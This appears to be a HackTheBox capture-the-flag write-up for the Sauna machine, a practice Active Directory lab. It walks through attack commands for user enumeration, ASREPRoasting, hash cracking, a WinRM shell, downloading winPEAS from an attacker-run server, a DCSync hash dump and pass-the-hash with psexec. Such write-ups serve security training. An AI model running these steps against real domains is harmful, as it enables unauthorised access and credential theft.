Introduction

Sauna is rated as an easy-difficulty Windows machine on HackTheBox. This box gives an excellent playground to experiment with varying Active Directory services in order to identify principals, abuse authentication, and ultimately gain control of the box and underlying domain. This is definitely a fun machine and an excellent target for Active Directory abuse.

Enumeration

We start with the normal Top1000 scan but follow up with a full port scan to make sure that we're not missing any portion of the attack surface.

• For a full port scan on these types of machines we'll typically use an nmap scan such as nmap -p- --min-rate=3000 --max-retries=5 -vv -Pn -oA nmap/allPorts $IP

  

• Then we can copy those results into a text file, perform a few transformations and we now have a comma-separated list of live ports. Now we can plug this list into our next nmap scan running default scripts and service enumeration.

  • cat ports.txt|tr "/" " "|awk '{print $1}'|tr "\n" ","

    

• After our service scan, we see some familiar Windows Server services. The fact that it's running DNS, LDAP, as well as Kerberos, may indicate that this could be a Domain Controller.

• There's a handful of supporting RPC ports and the like, but the main services which stick out at the moment are:

  • DNS(53)

  • HTTP(80)

  • Kerberos(88)

  • msRPC(135)

  • SMB(139/445)

  • LDAP(389/636/3268/3269)

  • WinRM(5985)

  • 

SMB (445)

• We try listing available shares using Crackmapexec as well as Smbmap but neither returned anything open to the outside.

  • We try both tools while supplying an empty username, guest, null, etc.. but no luck on any front there.

  • We may loop back to this service if we can find valid creds.

  • 

DNS(53)

• We try running some dig commands and nslookup commands but the DNS service just seems to be timing out for the most part.

  • 

  • 

Kerberos(88)

• Kerberos is an authentication mechanism commonly seen in Active Directory environments. Before we can try forging or abusing user accounts, we first need user accounts to actually target..of which we currently have zero.

  • We could try finding a list of users online via Linkedin or company webservers hosting details about employees (Ex: "About Us" section).

  • Then we also need the username format (ex: first-initial/Lastname, FirstName/Last-initial, etc..)

  • If we do get a list of potential usernames and/or passwords we can try using them with the Kerbrute tool.

LDAP(389/636/3268/3269)

• This is another service common to Active Directory environments. However, its worth noting that LDAP and AD are not interchangeable terms. LDAP is a communications protocol that works across multiple platforms(Windows, Mac, *nix) and Active Directory is the directory service used to organize the records of all applicable resources on a given network.

  • 

  • https://www.varonis.com/blog/the-difference-between-active-directory-and-ldap

• We still don't have any creds so we can only make anonymous queries to the LDAP service at the moment. It gives us some information, but nothing terribly useful at the moment.

  • 

HTTP (80)

• We start just using the IP address to navigate to the webserver in our browser.

  • We get a landing page for an egotistical-looking bank..

  • 

• We try interacting with the website in the single.html, search, contact, and newsletter functionality. All make a POST request but we get shutdown with a 405 Method not allowed error.

  • We can see some potential usernames on the about.html page.

    • Fergus Smith

    • Shaun Coins

    • Hugo Bear

    • Bowie Taylor

    • Sophie Driver

    • Steven Kerb

• Now that we've got some potential usernames we can use Kerbrute to see if any of these folks might have an account through Kerberos.

  • We do a couple of transformations on the found employee names in order to form some common username formats.

  • Eventually, we get lucky and get a hit with fsmith (Fergus Smith).

  • 

Back to Kerberos..

Now that we've got a username we can try querying the Kerberos service to see if we can pull down a password hash for this user in an ASREPRoast attack.

• NOTE: ASREPRoast is an attack that takes advantage of user accounts which have Kerberos Pre-authentication disabled. If Kerberos Pre-authentication was enabled for this account, we would first need to provide an AS-REQ message to the Domain Controller. That message would include a timestamp encrypted with the user's hash and that's how the Domain Controller would verify the requesting user's identity.

  • However if there's no Kerberos Pre-authentication we can just request a TGT directly from the Domain Controller and it will gladly reply with the TGT signed with the DC's copy of the user's password hash. We can then extract that hash from the AS-REP message and crack it offline to find the user's password.

• We have a bit of trouble getting the script working at first. Turns out we had only put sauna.egotistical-bank.local in our /etc/hosts file and not simply the domain name. Good idea to pay attention to your tools' error messages like this.

  • 

• After editing our hosts file to point the domain name at the correct IP address, we're able to pull down the hash for fsmith.

• 

• Now that we've got a password hash for fsmith we can try cracking it offline with Hashcat.

  • Hashcat has a nice hash-identification functionality now, but whenever in doubt our go-to resource for hash identification is still the Hashcat wiki. https://hashcat.net/wiki/doku.php?id=example_hashes

  • Hashcat cracks it pretty fast.

  • hashcat fsmith.hash -m18200 -a0 /usr/share/wordlists/rockyou.txt

  • 

• Now that we've got a username and password we can try re-enumerating the services that were shutting us out earlier.

  • 

• We're able to grab a couple more usernames with ldap too.

  • 

• Just to be certain we're not missing any other easy wins, we try recycling these usernames back through the ASREPRoast vector using impacket-getNPUsers script. However, it only confirms that the others are not vulnerable.

  • 

• Moving on, we can confirm if this password is being used by anyone else by using Crackmapexec again, but this time passing the list of usernames as well as the --continue-on-success flag. This way it'll continue testing credentials for all users in the list rather than stopping once it finds the first successful login.

  • 

• Found this to be an excellent guide on attacking Kerberos systems.

  • https://www.tarlogic.com/blog/how-to-attack-kerberos/

• Accompanying command cheat sheet.

  • https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

• Was somewhat overthinking our next steps to get on the box at this point. We have passwords to two users, fsmith and hsmith, however they don't have write on any of the SMB shares so we can't use psexec or anything similar to upload a shell.

• Tried manually looking over what shares we did have access to in the event that we might find some stored creds for one of the other users perhaps.

• Eventually we come back to our nmap scan, just to review what our attack surface is currently looking like. That's when it hits us, there's port 5985 open and we have valid user credentials..we can get a shell right now using evil-winrm -i $IP -u fsmith -p PASSWORD

• 

• We try the same tool with hsmith but they aren't able to login. Once we're on as fsmith we can run whoami /groups and see that they're part of the Remote Management Users group. This is what allows them access over WinRM on port 5985.

  • 

• We had seen that they were part of this group earlier when running Bloodhound so I'm sure there must be another way to query the DC for this information, especially after we already have their credentials. Gonna have to stick a pin in this topic for now.

Lateral Movement to svc_loanmgr

• Once we're on the box as fsmith we collect the user flag and start manually walking around the file system. After a little while we transfer over winpeas to do some automated enumeration for us.

• On the attack box we'll set up a simple python server.

  • sudo python3 -m http.server 80

• Then on the victim machine we notice that we're already in a Powershell instance so the following command will use the 'invoke-webrequest' cmdlet to download the winpeas binary to this machine.

  • iwr -uri 'http://YOUR_IP/winPEASany.exe' -outilfe 'winpeas.exe'

• There's no anti-virus on this machine so we can just run the file as is now.

  • ./winpeas.exe

• We're able to find the password for the other account we saw earlier, 'svc_loanmgr', although interestingly enough we see two different spellings for presumably the same account..

  • 

Privilege Escalation to SYSTEM

Now that we know the password for svc_loanmgr we try logging in through SMB for any new shares. Nothing new there but we do confirm the password works.

• We find that they can also login through WinRM, but again nothing new to find within their user folders or additional privileges on the box itself.

So we go back to Bloodhound now that we have a new principal, 'svc_loanmgr' and see if they have an easy route to Domain Admin perhaps..

• First we enter SVC_LOANMGR in the search bar. When their node populates in the graph we right-click and mark them as owned.

• Next we go to the 'Analysis' tab and try a query in the 'Shortest Paths' category, first go-to is always 'Shorts Paths to DOmain Admins from Owned Principals'. Just in case they may have some additional privilege we hadn't noticed yet, but all we see linked to DA is the Administrator account.

• 

Although we didn't get any hits from that query there's a whole other category of 'Dangerous Privileges' queries we can try running next.

• The first one 'Find Principals with DCSync Rights' gives us our escalation path.

• Notice in the graph how one of the principals with DCSync rights is our SVC_loanmgr that we've already marked as OWNED.

• 

• If we right-click the edge between our owned principal node and the domain node you'll get a pop-up specific to that edge. Click the Help button to see additional information about what this relationship means and how to exploit it.

  • 

• As we can see from the Info tab, the user 'svc_loanmgr' has domain privileges to perform DS-Replication-Get-Changes and DS-Replication-Get-Changes-All . With these two privileges we can perform a DCSync attack as svc_loanmgr.

  • 

Now that we know 'svc_loanmgr' has DCSync rights we can try dumping hashes directly from the Domain Controller. Bloodhound would suggest using Mimikatz to exploit these privileges, but we're just going to use the secretsdump.py script from the Impacket Tool Suite.

• secretsdump.py egotistical-bank.local/svc_loanmgr:'PASSWORDHERE'@sauna.egotistical-bank.local

• secretsdump.py DOMAIN/USER:PASSWORD@Target

• 

After we have these hashes we can use psexec to pass the administrator's hash to the DC and get on as a SYSTEM level account.

• impacket-psexec egotistical-bank.local/administrator@$IP -hashes LM:NT

•